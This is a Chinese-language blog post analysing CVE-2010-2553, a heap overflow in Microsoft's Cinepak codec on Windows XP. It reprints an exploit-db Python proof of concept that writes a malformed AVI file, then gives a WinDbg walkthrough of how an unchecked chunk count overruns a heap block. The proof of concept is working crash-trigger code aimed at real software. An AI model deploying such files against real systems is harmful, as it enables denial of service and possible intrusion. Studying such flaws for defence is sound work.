[CVE-2010-2553] Microsoft Cinepak Codec CVDecompress - Heap Overflow(堆溢出分析)
0x00 参考
https://www.exploit-db.com/exploits/15112/
poc:
'''
https://www.exploit-db.com/exploits/15112/
poc:
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
'''
Title : Microsoft Cinepak Codec CVDecompress Heap Overflow
Version : iccvid.dll XP SP3
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2553
MOAUB Number :
'''
import
sys
def
main():
aviHeaders
=
'\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
padding
=
'\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
movi_tag
=
'\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
cinepak_codec_data1
=
'\x00\x00\x00\x68\x01\x60\x01\x20'
number_of_coded_strips
=
'\x00\x10'
cinepak_codec_data2
=
'\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
idx_tag
=
'\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
avifile
=
open
(
'poc.avi'
,
'wb+'
)
avifile.write(aviHeaders)
avifile.write(padding)
avifile.write(movi_tag)
avifile.write(cinepak_codec_data1)
avifile.write(number_of_coded_strips)
avifile.write(cinepak_codec_data2)
avifile.write(idx_tag)
avifile.close()
print
'[-] AVI file generated'
if
__name__
=
=
'__main__'
:
main()
0x01 漏洞分析
环境(windows XP Professional)
1.
用windbg附加explorer.exe,把poc.avi放到C盘,鼠标单击一下,explorer崩溃,栈回溯 Decompress + 0x11d
漏洞触发在iccvid这个模块里,当解析poc.avi时才动态加载进来,用命令sxe ld:iccvid 加载iccvid模块时断下来
单步步入,esi指向的是poc中的cinepak_codec_data1的数据块
(windbg出现了问题,输入一条命令,显示多条)
取出数据的长度进行比较,判断是否大于0x20,大于才继续执行
2.
后面取出cinepak_codec_data2的字段进行解析
esi+0xA 指向avi格式的编码条ID
一直单步,到达跳转处后,很快进行Chunk数据(c2cb12处)的比较
到达比较压缩数据块的个数
把2000h,保存到局部变量,以2000h递增堆内存地址(进行数据的拷贝)
计算出目的地址edi = 16d418
!heap 查看所有堆 ,可以看出edi在16b410这个堆块里,分配的块大小为0x6000,当拷贝的数据超过0x6000就会把后面171418(空闲堆块)覆盖掉
单步,计算源地址esi
拷贝数据
由于对拷贝的chunk数据块的个数没有限制,当拷贝的chunk数据块超过2个就造成了堆溢出
评论
发表评论